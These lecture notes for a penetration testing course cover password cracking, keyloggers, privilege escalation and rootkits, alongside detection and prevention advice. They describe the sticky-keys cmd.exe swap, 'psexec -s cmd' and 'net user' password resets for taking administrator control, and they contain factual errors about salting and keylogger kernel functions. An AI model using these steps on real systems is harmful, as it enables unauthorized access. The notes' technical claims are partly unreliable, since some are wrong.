0% found this document useful (0 votes)
22 views65 pages

Ptva Unit - III

The document provides lecture notes on penetration testing and vulnerability assessment, focusing on password cracking techniques and keyloggers. It explains various password cracking methods, including brute-force, dictionary, and hybrid attacks, along with prevention strategies such as multifactor authentication and strong password policies. Additionally, it details the operation and detection of keyloggers, emphasizing their risks and the importance of monitoring for unauthorized access.

Uploaded by

tngovtadmission
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
22 views65 pages

Ptva Unit - III

The document provides lecture notes on penetration testing and vulnerability assessment, focusing on password cracking techniques and keyloggers. It explains various password cracking methods, including brute-force, dictionary, and hybrid attacks, along with prevention strategies such as multifactor authentication and strong password policies. Additionally, it details the operation and detection of keyloggers, emphasizing their risks and the importance of monitoring for unauthorized access.

Uploaded by

tngovtadmission
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 65

PAAVAI ENGINEERING COLLEGE

(An Autonomous Institution)

DEPARTMENT OF CYBER SECURITY

LECTURE NOTES

On

PENETRATION TESTING AND VULNERABILITY ASSESSMENT

Prepared By,

Name :LOGANATHAN R

Designation: Assistant Professor

Department: Cyber Security

1
CY20603 PENETRATION TESTING AND VULNERABILITY ASSESSMENT

UNIT III SYSTEM HACKING

Password cracking techniques - Key loggers; Escalating privileges - Hiding Files, Double
Encoding, Steganography technologies and its Countermeasures. Active and passive sniffing,
ARP Poisoning, MAC Flooding, SQL Injection, Error based, Union - based, Time-based, Blind
SQL, Out-of-band. Injection Prevention Techniques.

PASSWORD CRACKING:

What is password cracking?


Password cracking typically refers to the process of recovering scrambled passwords. It
can be used to help a user get back a forgotten password or to help a system administrator
check for weak passwords. But more often, password cracking is used by bad actors to gain
unauthorized access to systems and resources.

PASSWORD CRACKING TECHNIQUE:

As an attack vector, password cracking is incredibly varied. Threat actors use specialized tools,
multiple techniques and even blend complimentary tactics to boost their chances of success. To
get a clearer picture of how they all fit together, it helps to understand that attacks typically fall
into two categories:

1. Password guessing
2. Password cracking

Password guessing and password cracking are not the same thing, even though the terms are
often conflated.

Password guessing is an online technique where a bad actor uses various combinations of
characters in a process of trial and error.

In contrast, password cracking refers to an offline process where an attacker attempts to decipher
plaintext passwords from their encrypted forms. Because these techniques are typically lumped
together.

5 Common password cracking techniques:


Here are a few of the most common cracking techniques:

1. Brute-force attack:
With this relatively old but effective attack method, bad actors use automated scripts to try out
possible passwords until the correct one works. Brute-force attacks can be very time consuming

2
because they take a systematic approach to trying all possible permutations of characters in a
sequence. The longer the password, the longer it takes.

Brute-force attacks are most successful when users have common or weak passwords, which can
be “guessed” by tools in a matter of seconds. Cracking a strong password might take a few hours
or days.

Admins who want to defend against to these attacks have several options, including:

 Limiting the number of times a password can be tried


 Blocking an IP address after it has attempted—and failed—to enter the correct password
after a certain number of times
 Locking accounts after a certain number of unsuccessful login attempts
 Imposing a time delay between attempts
 Increasing the level of effort, like adding a CAPTCHA or adding multifactor
authentication

2. Dictionary attack
These attacks are similar to brute-force attacks, but they’re less about quantity and more about
quality. In other words, instead of trying every possible combination, bad actors start with the
assumption that users are likely to follow certain patterns when they create a password. So they
will home in on the most likely words rather than trying everything.

Some users pick easy to remember passwords, like “password” or “123abc.” Others follow
predictable patterns that can vary by region—users might pick words related to their favorite
sports teams, local landmarks, city names, and so on. So, for example, a New Yorker might
choose “yankeefan1998.” Attackers collect lists of likely passwords into attack dictionaries.
Then, they augment likely passwords with numbers, letters and characters for longer passwords.

While these lists aren’t as long as those used in brute-force attacks, they can be quite large. So
attackers use automated scripts to try each password on a username until they’re locked out.

3. Credential stuffing attack

With credential stuffing, bad actors take advantage the tendency for users to reuse the same
usernames and passwords for multiple accounts. As more credentials are exposed through data
breaches, the opportunity for these types of attacks is growing.

Here’s how it works. Pairs of compromised usernames and passwords are added to a botnet that
automates the process of trying those credentials on multiple sites at the same time. The purpose
of these attacks is to identify account combinations that work and can be re-used across multiple
sites.

3
These attacks have a relatively low success rate, but the impact of a large-scale botnet attack is
often anything but small.

4. Hybrid attack

When users change their password, they’ll often add a few extra numbers, letters or characters at
the end. Hybrid attacks take advantage of this tendency.

Often, hybrid attacks are a mix of dictionary attacks and brute force. In this case, a bad actor may
get a user’s compromised password for one site. The user learns it has been compromised and
changes it. The attacker will now try out variations of the old password using a brute force
method that automates the additions of numbers, letters and more.

While this method is more time-consuming than a simple dictionary attack, it’s faster than a
brute-force attack.

5. Rainbow table attack

To keep passwords safe, any responsible organization that stores passwords won’t keep them in
their original plaintext form. Rather, they use a hashing algorithm to convert passwords into a
string of seemingly random letters and numbers. They might even hash this output a second time
in a process called “salting” to make the password even more difficult to crack.

But there are only a limited number of hashing algorithms. And they hash the same passwords
the same way every time. As a result, attackers can develop databases of common passwords that
they’ve been able to decode. Once they have deciphered a password, they store it in a database
called a rainbow table.

When attacker gets a new hashed password, they check to see if it matches any of the
precomputed hashes stored in their rainbow table. The downside to rainbow tables is that they
take considerable time and effort to create. And they often don’t work on passwords that have
been salted.

Tips to protect an organization against password attacks:


Safe passwords may seem like a trivial piece of your cybersecurity strategy. But,
passwords are the most common way that cyber criminals gain unauthorized access to
confidential data and systems. That makes strong passwords essential to keeping your
organization safe. All types of businesses, organizations and institutions can benefit from these
password best practices:

 Create strong password policies. Users don’t typically have the best password hygiene.
Consider a password policy that requires a minimum passphrase length (ideally greater

4
than 20 characters), requires the use of special characters, and forces users to reset their
passwords regularly.

 Use multifactor authentication. When MFA is used, password cracking is mostly


neutralized (though a growing number of attacks employ MFA-bypass techniques). An
attacker might figure out a user’s password, but in many cases, they still won’t have
access to the secondary authentication method.
 Encrypt, hash and salt passwords. Both encrypting and hashing exponentially increase
the effort and the computing power that’s required for attacks. And salting makes the
process that even harder.
 Update systems regularly. When systems aren’t updated, malware that tracks users’
keystrokes can infect emails, files and applications. In these so-called keystroke attacks,
bad actors gather user credentials and other sensitive information. Updated systems can
prevent these attacks.

By implementing these measures, organizations can effectively stop sensitive information from
ending up in the wrong hands.

The future of password security:


There’s no doubt that passwords have security issues. That’s why the popularity of
password-less authentication is on the rise.

Password-less authentication is generally believed to be more secure than standard passwords. It


works by enabling users to prove they are who they say they are by matching them with
something unique to them, like their voice or a security token. These security methods are
commonly used with two-factor authentication (2FA). Here are a few examples:

 Biometrics. With this method, a user’s unique characteristics, like their fingerprint,
palmprint, voice or face, are saved and encrypted. When a user wants to log in, they
verify who they are by resubmitting their biometrics.
 Time-based one-time password (TOTP). A temporary passcode is generated by an
algorithm. They are typically six characters long and change after 30 or 60 seconds.
Google Authenticator and Microsoft Authenticator are two good examples. In another
variation, the user scans a QR code using a specific smartphone application—and then
that app generates the TOTP for the user.
 One-time pin (OTP). When a user attempts to login, an OTP—typically a six-digit
code—is sent to their cell phone number via short message service (SMS) or email. The
user has a limited amount of time to enter that code in the system. In another variation, a
unique hyperlink is sent to the user who then clicks that so-called magic link to login.

5
 Push notifications. This method authenticates a user by sending a message to a secure
application on their mobile device. When the user gets the notification, they can approve
or deny access or view more details.

Password-less authentication is resistant to most password cracking methods. Plus, it alerts users
if something is wrong. The disadvantages are that it’s more complex and often requires outside
systems to function. So while the future of password security is moving towards being more
secure, it’s not necessarily more user-friendly.

KEYLOGGERS:
Definition:
A keylogger or keystroke logger/keyboard capturing is a form of malware or hardware
that keeps track of and records your keystrokes as you type. It takes the information and sends it
to a hacker using a command-and-control (C&C) server. The hacker then analyzes the keystrokes
to locate usernames and passwords and uses them to hack into otherwise secure systems.

Types of Keyloggers:
A software keylogger is a form of malware that infects your device and, if programmed to do
so, can spread to other devices the computer comes in contact with.
While a hardware keylogger cannot spread from one device to another, like a software keylogger,
it transmis information to the hacker or hacking organization, which they will then use to
compromise your computer, network, or anything else that requires authentication to access.

Software Keyloggers
Software keyloggers consist of applications that have to be installed on a computer to
steal keystroke data. They are the most common method hackers use to access a user’s
keystrokes.
A software keylogger is put on a computer when the user downloads an infected application.
Once installed, the keylogger monitors the keystrokes on the operating system you are using,
checking the paths each keystroke goes through. In this way, a software keylogger can keep track
of your keystrokes and record each one.
After the keystrokes have been recorded, they are then automatically transferred to the hacker
that set up the keylogger. This is done using a remote server that both the keylogger software and
the hacker are connected to. The hacker retrieves the data gathered by the keylogger and then
uses it to figure out the unsuspecting user’s passwords.
The passwords stolen using the key logger may include email accounts, bank or investment
accounts, or those that the target uses to access websites where their personal information can be
seen. Therefore, the hacker's end goal may not be to get into the account for which the password
is used. Rather, gaining access to one or more accounts may pave the way for the theft of other
data.

6
Hardware Keyloggers
A hardware keylogger works much like its software counterpart. The biggest difference is
hardware keyloggers have to be physically connected to the target computer to record the user's
keystrokes. For this reason, it is important for an organization to carefully monitor who has
access to the network and the devices connected to it.
If an unauthorized individual is allowed to use a device on the network, they could install a
hardware keylogger that may run undetected until it has already collected sensitive information.
After hardware keystroke loggers have finished keylogging, they store the data, which the hacker
has to download from the device.
The downloading has to be performed only after the keylogger has finished logging keystrokes.
This is because it is not possible for the hacker to get the data while the key logger is working. In
some cases, the hacker may make the keylogging device accessible via Wi-Fi. This way, they do
not have to physically walk up to the hacked computer to get the device and retrieve the data.

How are Keyloggers Constructed?


The primary concept behind keyloggers is they must be placed between when a key gets
depressed on a keyboard and when the information regarding that keystroke appears on the
monitor. There are several ways to accomplish this.

Some hackers use video surveillance to see the connection between the pressed keys and what
appears on the monitor. A video camera with a view of the keyboard and the screen can be set
up. Once it records a video of the keystrokes and the login or authentication screens the strokes
have to get past, the hacker can play the video back, slow it down, and see which keys were
pressed.

An attacker can also put a hardware bug inside the keyboard itself. This would record each
stroke made and send the information to be stored, either on a server or nearby physical device.

7
It is possible for a keylogger to be placed within the wiring or inside the computer—as long as it
is between the keyboard and the monitor.

Additionally, keylogger software can be designed to intercept all input that comes from the
keyboard. This can be done using a few different methods:

1. The driver that facilitates the interaction between the keyboard and the computer can be replaced
with one that logs each keystroke.
2. A filter driver can be positioned within the keyboard stack.
3. Kernel functions, which use similarities between data to assist machine learning, can be
intercepted by software keyloggers and then used to derive the necessary keystrokes to perform
authentication functions.
4. The functions of the dynamic link library (DLL), which stores code used by more than one
program, can be intercepted.

The software, which is recognized as a form of spyware, is built using a few different methods.
Here are the most common:

1. A system hook, which is a technique for altering the operating system's behavior, is used to
intercept each notification generated whenever a key is pressed. This kind of software is
typically built using the coding language C.
2. A cyclical information request is set up that gathers information from the keyboard. These kinds
of keyloggers are typically written using Visual Basic or Borland Delphi.
3. A filter driver is written in C and installed inside the computer.

As a sort of defense mechanism, some keyloggers, referred to as rootkits, have the ability to
disguise themselves to slip manual or antivirus detection. They either mask in user mode or
kernel mode.

8
How to Detect a Keylogger?
The simplest way to detect a keylogger is to check your task manager. Here, you can see
which processes are running. It can be tough to know which ones are legitimate and which could
be caused by keyloggers, but you can differentiate the safe processes from the threats by looking
at each process up on the internet. In some cases, you may find a warning written by another user
regarding a process, or several processes, that indicate keylogger activity.

To access the task manager in Windows, right-click on the taskbar, and then choose "Task
Manager" from the menu.

In this window, each program under the Apps section are the ones in use by your computer,
which will appear in windows on your screen. You will not see a keylogger in this section.
However, you may be able to find one by looking through the Background processes section.

Another good place to look for keyloggers is under the Startup tab. Keyloggers get set up to run
all the time on a computer, and to do that, they need to be started up with the operating
system. As you peruse the Startup list, look for anything you cannot remember installing
yourself. If something seems out of place, click on its line and then click on the Disable button
on the lower-right side of the window.

You can also check for keyloggers by examining your computer’s internet usage report. To
access this in Windows, press the Windows button and “I” at the same time. This will bring you
to the settings screen. Here, you should choose "Network & Internet," then "Data usage." A list
of the programs that your computer is using to access the internet will appear. If anything seems
suspicious or you simply do not recognize it, do a search to investigate what it is. It may be a
keylogger.

You can do the same form of investigation with browser extensions. If there are extensions you
do not recall installing, disable them because they could be keyloggers. Here is how to access
your extensions in some of the most common browsers:

1. Safari: Choose "Preferences" in the Safari menu and click on "Extensions."


2. Chrome: Go to the address field and type "chrome://extensions."
3. Opera: Choose "Extensions," then select "Manage Extensions."
4. Firefox: Enter "about: addons" in the address field.
5. Microsoft Edge: Select "Extensions" in your browser menu.
6. Internet Explorer: Go to the Tools menu and choose "Manage add-ons."

9
How Keyloggers Attack Your Device?
To gain access to your device, a keylogger has to be installed inside it or, in the case of a
hardware keylogger, physically connected to your computer. There are a few different ways
keyloggers attack your device.

Spear Phishing
Spear phishing is one of the most prominent methods of initiating a malware infection. In most
cases, a phishing email or link is used to target a consumer. The link looks legitimate—it may
even appear to come from a relative or a friend. However, after you open the email or click on a
link, a keylogger is installed on your device. Spear-fishing attacks may also be used to launch a
sextortion attack.

Drive-by Download
Drive-by downloading refers to when a keylogger is installed on your computer without you
knowing. This is often accomplished using a malicious website. When you visit the site, malware
gets installed on your computer. It then works in the background, undetected, logging your
keystrokes, then sending them to the attacker.

Trojan Horse
It is common for Trojan horses to have keyloggers bundled inside. A Trojan horse, similar to the
one used in the Greek myth, appears to be benevolent. When the user opens it, malware
containing a keylogger gets installed on their device. The malware, once installed, keeps track of
the user's keystrokes and then reports them to a device accessed by the hacker.

Problems Caused by Keyloggers


In addition to compromising the security of your device, keyloggers can cause auxiliary issues
on the device itself. The effects are somewhat different based on the type of device that has been
infected.

Desktops and Laptops


Unknown Processes Consuming Computing Power
Like all types of software, keyloggers need to initiate a process in order to work. Each process
your computer has to execute requires processing power. A keylogger’s process, once initiated,
can be a drain on your computing power. This may result in other applications not running the
way they normally would or should. You can figure out which processes are running by pulling
up the task manager, as described above in “How to Detect a Keylogger.”

10
Delays During Typing
Because a keylogger positions itself between the keyboard and the monitor, one sign of a
keylogger may be a delay when you type. If you typically see letters, numbers, or symbols
appear on your screen immediately after you hit each key but then you notice a slight delay, that
could be a sign that a keylogger is interrupting the process.

In some cases, the delayed typing may be due to circumstances like not enough random access
memory (RAM), but if you notice this symptom, it may be a good idea to check for keyloggers.

Applications Freeze Randomly


As a keylogger does its work, it may interrupt normal application processing. This can
cause the application to freeze without warning. If your applications are freezing more than usual,
a keylogger could be the culprit.

Androids and iPhones


While there may not be any hardware keyloggers designed to attack mobile devices,
Androids and iPhones can still be compromised by software keyloggers. These work by
capturing where on the screen the user presses or taps, which allows the keylogger to see the
virtual buttons pressed while the owner types. The data is then recorded and reported to a
hacker.

The threat may be even worse with these forms of keyloggers because they do more than merely
monitor and record keystrokes. They can also record screenshots, things picked up by the
camera, the activity of connected printers, what goes into the microphone, and network traffic. A
keylogger even has the ability to prevent you from going to certain websites.

To get a keylogger onto a mobile device, a hacker only needs to access it for a short period of
time. You can also unintentionally install a keylogger on your device by clicking on a link or
attachment.

How to Protect My Devices from Keylogging?


The best way to protect your devices from keylogging is to use a high-quality antivirus
or firewall. You can also take other precautions to make an infection less likely.

You may use a password manager to generate highly complex passwords—in addition to
enabling you to see and manage your passwords. In many cases, these programs are able to auto-
fill your passwords, which allows you to bypass using the keyboard altogether.

11
If you are not typing, a keylogger cannot record any strokes, and since password characters are
usually replaced by asterisks, even a video surveillance system would not be able to figure out
what was entered. In addition, use multi-factor authentication (MFA) when you have the option.
A keylogger may deduce your password, but the second phase of the authentication process may
deter them.

A virtual keyboard can also help prevent keyloggers from accessing your keystrokes. Even a
hypervisor-based keylogger, which uses a separate operating system running underneath your
main one, cannot access keystrokes performed on a virtual keyboard. On a Windows computer,
you can press the Windows key and “R” at the same time to access its virtual keyboard.

It is also a good idea to periodically check the hardware connections on your computer. While
hardware keyloggers are not as common, the back of a PC’s tower may be an inviting attack
surface for a keylogging hacker. This is also true when working on a public computer. The
attacker may have installed a hardware keylogger days or weeks before you log in to your bank,
brokerage, or email accounts.

ESCALATING PRIVILEGES:

What is Privilege Escalation?


Privilege escalation is a cyber attack technique where an attacker gains unauthorized
access to higher privileges by leveraging security flaws, weaknesses, and vulnerabilities in an
organization’s system. It is the attempt to elevate access permissions by exploiting bugs, system
flaws, human behaviors, configuration oversights, or weak access controls.
In most cases, the first penetration attack attempt is not enough to gain the required level of
access to data. Attackers then resort to privilege escalations to gain deeper access to networks,
assets, and sensitive information.
Privilege escalation attacks are performed to jeopardize business operations by exfiltrating data
and creating backdoors.

The goal of privilege escalations is to gain complete control over the system or network, with a
malicious intent of security breaches, data theft, etc. Threat actors performing these attacks can
be external hackers or insiders who start by carrying out a social engineering attack like phishing
to gain access to computer networks and systems through credential theft.
As privilege escalation attacks can impact business reputation and continuity, strategic measures
should be implemented for prevention, early detection, and mitigation.

12
Types of Privilege Escalations
There are two types of privilege escalations are mentioned below.
1. Vertical privilege escalation
2. Horizontal privilege Escalation
1. Vertical privilege escalation, or privilege elevation attack, is hacking into a system to
gain elevated privilege access beyond what the attacker already has.
2. Horizontal privilege escalation or account takeover is gaining access to the rights of
lower-level accounts with similar privileges, mainly performed to increase the attacker’s
sphere of access.

Vertical vs. Horizontal Privilege Escalation


Vertical and horizontal privilege escalations refer to different methods
of obtaining higher privileges within a system or a network. Horizontal privilege escalation
means obtaining access to the same level of privileges as a user. In contrast, vertical privilege
escalation refers to obtaining a higher level of privileges than the user.
In case of a horizontal privilege escalation, a low-level employee with access to sensitive data
may use that access to gain the same privileges as a higher-level employee, such as a manager.
This enables the attacker to perform actions with the same level of authority as the compromised
employee.
On the other hand, vertical privilege escalation refers to the process of gaining higher privileges
than the user currently has. For example, a low-level employee may exploit vulnerability in the
system to gain administrative privileges, thus obtaining the ability to perform actions with a
much higher level of authority.

How Does Privilege Escalation Work?


Attackers often gain access to a system by finding weak points in an organization's
cybersecurity framework. Once the initial infiltration is successful, threat actors use specific
vertical or horizontal privilege escalation strategies:

 Vertical. Attackers exploit vulnerabilities within the system or software applications to


escalate their privileges from a basic user account up to privileged user levels, such as those
held by system administrators. In these attacks, threat actors may also use social engineering
techniques like phishing emails to trick users into granting access inadvertently or revealing
sensitive information.
 Horizontal. In these attacks, threat actors focus on lateral movement across peer-level
accounts. Oftentimes, they involve tactics like credential theft and session hijacking.
Attackers may even inject a malicious payload into software applications that users with
similar permission levels frequently use.

Whether conducted vertically or horizontally, privilege escalation commonly works byexploiting


misconfiguration in networks and systems. This includes tapping into vulnerabilities like failure

13
to configure authentication for sensitive systems, administrative mistakes
in firewall configuration, or specific design flaws or oversights in operating systems or web
applications.

Privilege escalation attacks can be carried out locally or remotely. Local privilege escalation
attacks begin on-premises, typically by someone inside the organization. Remote escalation,
which is increasingly more pervasive, can start from almost anywhere.

Common Types of Privilege Escalation Techniques or Methods


There are various types of privilege escalation techniques that attackers can use to
compromise a system. Some of them are discussed below.
1. SocialEngineering-
In this technique, an attacker tricks a user into giving away their credentials or performing
actions that grant the attacker elevated privileges. This can include phishing attacks, where an
attacker sends an email posing as a trusted entity to trick the recipient into giving away their
credentials, thereby giving the attacker access to the system.
2. Pass-the-Hash/Rainbow table attacks- Another technique is the pass-the-hash (PtH) attack,
which aims at impersonating a user by using a stolen password hash to create a new session
on the same network. To defend against this attack, modern systems must employ robust
password management solutions to keep the hash unique between two sessions.
3. Vulnerabilities and exploits- Exploiting vulnerabilities in software and operating systems is
another popular method of privilege escalation. Here, attackers exploit unpatched software
vulnerabilities, buffer overflow issues, or other backdoors to gain privilege escalation.
4. Misconfigurations- In this attack, the attacker takes advantage of misconfigured systems to
escalate their privileges. This can include weak passwords, unsecured network services, open
ports, authentic failures, and other misconfigured systems.
5. Kernel exploits- In this technique, the attacker exploits zero-day vulnerabilities in the
operating system kernel to escalate their privileges. This poses a serious threat as the kernel
gets complete control over the system and can bypass security measures.

Best Practices to Prevent Privilege Escalation Attacks


Privilege escalation attacks can have severe consequences, including theft of
sensitive information, disruption of operations, and reputational damage. By implementing
strong passwords, restricting access, regularly updating systems, monitoring activity, and having
a clear response plan, organizations can reduce their risk of falling victim to privilege escalation
attacks. Below are some best practices that must be adopted to prevent and mitigate such attacks:
 Principle of least privilege- This measure is required to limit access to sensitive systems,
applications, and data to only those who need it.
 Patch and update software regularly- Keeping all systems, software, and applications up to
date with the latest security patches is essential in fixing known vulnerabilities.

14
 Vulnerability scanning- Attackers find it harder to enter the network when all the IT
infrastructure’s components are routinely scanned for weaknesses. Before potential attackers
can take advantage of them, vulnerability scans identify misconfigurations, undocumented
system changes, unpatched or unsecured OSes and programs, and other problems.
 Implement strong passwords- Encourage users to use strong and unique passwords that are
more challenging to guess or crack.
 Security awareness training- Conducting security awareness training is essential to prevent
people in organizations from unintentionally assisting a privilege escalation attack by opening
malicious links and attachments. It is also essential to emphasize the hazards and perils of
sharing accounts and passwords.
 Incident response plan- It is imperative to have a clear incident response plan that outlines
the steps to swiftly respond to detected incidents and prevent further exploitation.

Examples of Privilege Escalation Attacks


There are some common examples of hacking are discussed below along with the
explanation.
 Windows Sticky keys
 Windows Sysinternals
 Process Injection
 Linux Password User Enumeration
 Android Metasploit

1. Windows Sticky keys– The ‘sticky key’ attack is the most common and fairly easy way of
performing a privilege escalation attack. It does not require high technical skill sets. Attackers
must have physical access to the system and should be able to boot it from a repair disk. By
pressing the Shift key five times, an attacker can gain access to the Command Prompt with
administrator privileges, allowing them to execute malicious code.
2. Windows Sysinternals– The Windows Sysinternals tool suite is another common method to
conduct a privilege escalation attack. In this case, an attacker first performs a ‘sticky key’
attack to gain a backdoor into the system and then executes “psexec.exe -s cmd” to gain
administrator privileges.
3. Process Injection– This privilege escalation attack targets weak processes. This process
involves injecting malicious codes into running processes to elevate the privileges of that
process.
4. Linux Password User Enumeration– This is another prevalent privilege escalation method
where the attacker can use tools to enumerate valid usernames on a target system. Attackers
first identify target accounts on a Linux system to carry out this attack by gaining access to
the system’s shell. This is mostly performed by exploiting misconfigured FTP servers.
5. Android Metasploit– Android Metasploit refers to using the Metasploit framework to exploit
vulnerabilities in Android devices. The Metasploit framework is a popular hacking tool used

15
by attackers that contains a library of known exploits. Attackers can leverage these exploits to
perform privilege escalation attacks against rooted android devices.

How to Detect Privilege Escalation Attacks?


Preventing unauthorized access and maintaining system security hinges on effective detection
capabilities. There are several ways organizations can detect privilege escalation attacks,
including:

 Audit system logs. Review system logs regularly to spot unusual patterns or suspicious
activity, such as repeatedly failed login attempts or abnormal command usage.
 Anomaly detection tools. Identify deviations from normal behavior within your network
using anomaly detection tools. For instance, sudden changes in user roles could indicate an
ongoing privilege escalation incident.
 User and entity behavior analytics (UEBA). UEBA can identify potential privilege
escalation attempts using machine learning algorithms to understand typical user behavior
patterns. It can then send an alert when there's a deviation from the norm.
 Password monitoring. Implement password monitoring to alert you when passwords are
changed without authorization, which can indicate an attacker is trying to maintain their
escalated privileges over time.
 Intrusion detection systems (IDS). IDC can scan for known signatures of common privilege
escalation techniques like buffer overflow exploits or SQL injection attacks. As a result, they
can detect incidents early before significant damage occurs.
Remember, no single method will catch every possible attack vector. Organizations need to have
robust defenses and proactive detection measures in place that use a combination of strategies.

Tools to Protect Your Systems from Privilege Escalation


The use of UEBA, password security tools, and vulnerability scanners can prevent
privilege escalation attacks to a large extent. By monitoring user behavior, securing passwords,
and identifying vulnerabilities, organizations can reduce their risk of being compromised by a
privilege escalation attack.
1. UEBA (User and Entity Behavior Analytics)– UEBA is a security tool that uses machine
learning to analyze user behavior and detect anomalous activity. This tool can identify
changes in access patterns, attempts to access sensitive information, or escalate privileges.
The Exabeam Security Management Platform and the Cynet 360 Platform, powered by
UEBA, analyze abnormal account and user behaviors and provide comprehensive solutions to
offer organizations real-time visibility into the security landscape.
2. Password security tools– One of the most common privileges escalations methods is
cracking or guessing passwords. Password Auditor and Password Manager Pro are popular

16
password security tools that offer a comprehensive password management solution and help
individuals and businesses save and store their passwords securely. They also make the task
of remembering complex passwords easy and encourage the use of unique and strong
passwords for different accounts.
3. Vulnerability scanners– Vulnerability scanners are automated tools that scan a system,
network, or application for vulnerabilities and misconfigurations that could be exploited
for privilege escalations. Using vulnerability scanners will help organizations identify
weaknesses, find coding bugs and get remediation guidance to mitigate security flaws before
they are exploited. Invicti and Acunetix are two of the popular vulnerability scanners that can
be used to detect security vulnerabilities.
4. Privileged Access Management (PAM) software solutions- PAM software solutions
mitigate privileged access risks. PAM solutions protect organizations against privilege
escalation attacks by identifying, monitoring, and detecting unauthorized access to sensitive
information. JumpCloud, Ping Identity, and Foxpass are popular PAM solutions.

Privilege escalations can be a major security concern as they allow attackers to control the
system and access sensitive information. While the use of these tools helps in the early detection
and mitigation of privilege escalation attacks, it is important to note that these tools should be
used as a part of a comprehensive security strategy and not relied upon as a sole solution.

Common Examples of Privilege Escalation Attack Vectors


Privilege escalation is a technique where a cyber attacker compromises a
system to gain unauthorized access. This malicious activity can occur through various attack
vectors, such as stolen credentials, misconfigurations, malware or social engineering.

Malware
Attackers often use malware payloads to attempt privilege elevation on targeted systems.
This type of attack typically starts with gaining basic level access before deploying the malicious
payload that escalates their authority within the system.

Credential Exploitation
An attacker often attempts privilege escalation by taking advantage of weak user
accounts or stealing credentials. Once they have credentials in hand, they can perform malicious
actions under the guise of a privileged user.

Vulnerabilities and Exploits


A common method used in Linux and Windows privilege escalation involves
exploiting software vulnerabilities. For instance, if an application doesn't adhere to the principle
of least privilege, it may allow for vertical privilege escalation where an attacker gains root or
administrator privileges.

17
Misconfigurations
Sometimes system administrators inadvertently create opportunities for horizontal
privilege escalation due to misconfiguration errors. These could include granting sudo access
unnecessarily or not properly securing privileged account information.

Social Engineering
This method relies heavily on human interaction rather than technical flaws. A typical scenario
might involve tricking employees into revealing their login details, allowing attackers easy entry into
secure networks. Detecting social engineering attacks requires human-centric vigilance. Luckily, tools
are also available that can specifically detect incidents which may involve escalated privileges.

Privilege Escalation Attacks by Operating Systems


Privilege escalation attacks can also be specific to operating systems, specifically Linux
and Windows.

Linux Privilege Escalation


The open-source nature of Linux makes it susceptible to certain types of privilege
escalation attacks, including:
 Kernel exploitation. A common method in which attackers take advantage of vulnerabilities
in the Linux kernel to gain root privileges. By exploiting these weaknesses, they can execute
malicious payloads that enable them to escalate privileges.
 Enumeration. Threat actors gather information about the system, such as user accounts or
network resources, that could be exploited for further attacks.
 SUDO right exploitation. Attackers often take advantage of poorly configured sudo rights. If
a privileged user has been careless with their sudo access permissions, an attacker may be
able to use this oversight for their own ends.

Windows Privilege Escalation


Windows faces its share of privilege escalation incidents primarily because so many
enterprises rely on it for business operations. Here are some commonly used methods:
 Access token manipulation. This technique involves manipulating tokens associated with
privileged accounts to trick the system into granting higher-level access than intended.
 Bypass user account control (UAC). An attacker might try bypassing UAC warnings
designed to prevent unauthorized changes by using stealthy processes that don't trigger these
alerts.
 Sticky keys. This attack replaces sethc(.exe) (the application responsible for sticky keys) with
cmd(.exe) (command prompt). This allows anyone pressing the “shift” key five times at the
login screen to gain administrator privileges without needing credentials.

18
Detecting privilege escalation requires sophisticated security measures. While the prevention
and detection solutions above provide a baseline, organizations often need additional support to
keep their systems fully protected.

Privilege Escalation Using DLL Hijacking


 Most Windows applications do not use the fully qualified path when loading an external DLL
library instead they search directory from which they have been loaded first.
 If attackers can place a malicious DLL in the application directory, it will be executed in
place of the real DLL.

Resetting Passwords Using Command Prompt


 If attacker succeeds in gaining administrative privileges, he/she can reset the passwords of
any other non-administrative accounts using command prompt.
 Open the command prompt, type net user command and press Enter to list out all the user
accounts on target system.
 Now type net user user account name * and press Enter, user account name is account name
from list.
 Type the new password to reset the password for specific account.

Privilege Escalation Tool: Active@ Password Changer


 Active@ Password Changer resets local administrator and user passwords.

Privilege Escalation Tools


 Offline NT Password & Registry Editor

How to Defend Against Privilege Escalation


 Restrict the interactive logon privileges.
 Use encryption technique to protect sensitive data.
 Run users and applications on the least privileges.
 Reduce the amount of code that runs with particular privilege.
 Implement multi-factor authentication and authorization.
 Perform debugging using bounds checkers and stress tests.
 Run services as unprivileged accounts.
 Test operating system and application coding errors and bugs thoroughly.
 Implement a privilege separation methodology to limit the scope of programming errors and
bugs.
 Path the systems regularly.

HIDING FILES:
Rootkits

19
Rootkits are programs that hide their presence as well as attacker's malicious
activities, granting them full access to the server or host at that time and also in future.
 Rootkits replace certain operating system calls and utilities with its own modified versions of
those routines that in turn undermine the security of the target system causing malicious
functions to be executed.
 A typical rootkit comprises backdoor programs, DDoS programs, packet sniffers, log-wiping
utilities, IRC bots, etc.
 Attacker places a rootkit by:
o Scanning for vulnerable computers and servers on the web.
o Wrapping it in a special package like games.
o Installing it on the public computers or corporate computers through social engineering.
o Launching zero day attack (privilege escalation, buffer overflow, Windows kernel
exploitation, etc.)
 Objectives of rootkit:
o To root the host system and gain remote backdoor access.
o To mask attacker tracks and presence of malicious applications or processes.
o To gather sensitive data, network traffic, etc. from the system to which attackers might be
restricted or possess no access.
o To store other malicious programs on the system and act as a server resource for bot updates.

Types of Rootkits:

 Hypervisor Level Rootkit: Acts as a hypervisor and modifies the boot sequence of the
computer system to load the host operating system as a virtual machine.

 Hardware/Firmware Rootkit: Hides in hardware devices or platform firmware which is not


inspected for code integrity.

 Kernel Level Rootkit: Adds malicious code or replaces original OS kernel and device driver
codes.

 Boot Loader Level Rootkit: Replaces the original boot loader with one controlled by a
remote attacker.
 Application Level Rootkit: Replaces regular application binaries with fake Trojan, or
modifies the behavior of existing applications by injecting malicious code.
 Library Level Rootkits: Replaces original system calls with fake ones to hide
information about the attacker.

How Rootkit Works?


o Explorer
o Netstat

20
o TaskMgr
Example for XP: hxdef Power On, Power Off memory forensics

Rootkit Examples
 Avatar:
o Avatar rootkit runs in the background and gives remote attackers access to an infected PC.
o It uses a driver infection technique twice: the first in the dropper so as to bypass detections by
HIPS, and the second in the rootkit driver for surviving after system reboot.
o The infection technique is restricted in its capability (by code signing policy for kernel-mode
modules) and it works only on x86 systems.
 Necurs:
o Necurs contains backdoor functionality, allowing remote access and control of the infected
computer.
o It monitors and filters network activity and has been observed to send spam and install rogue
security software.
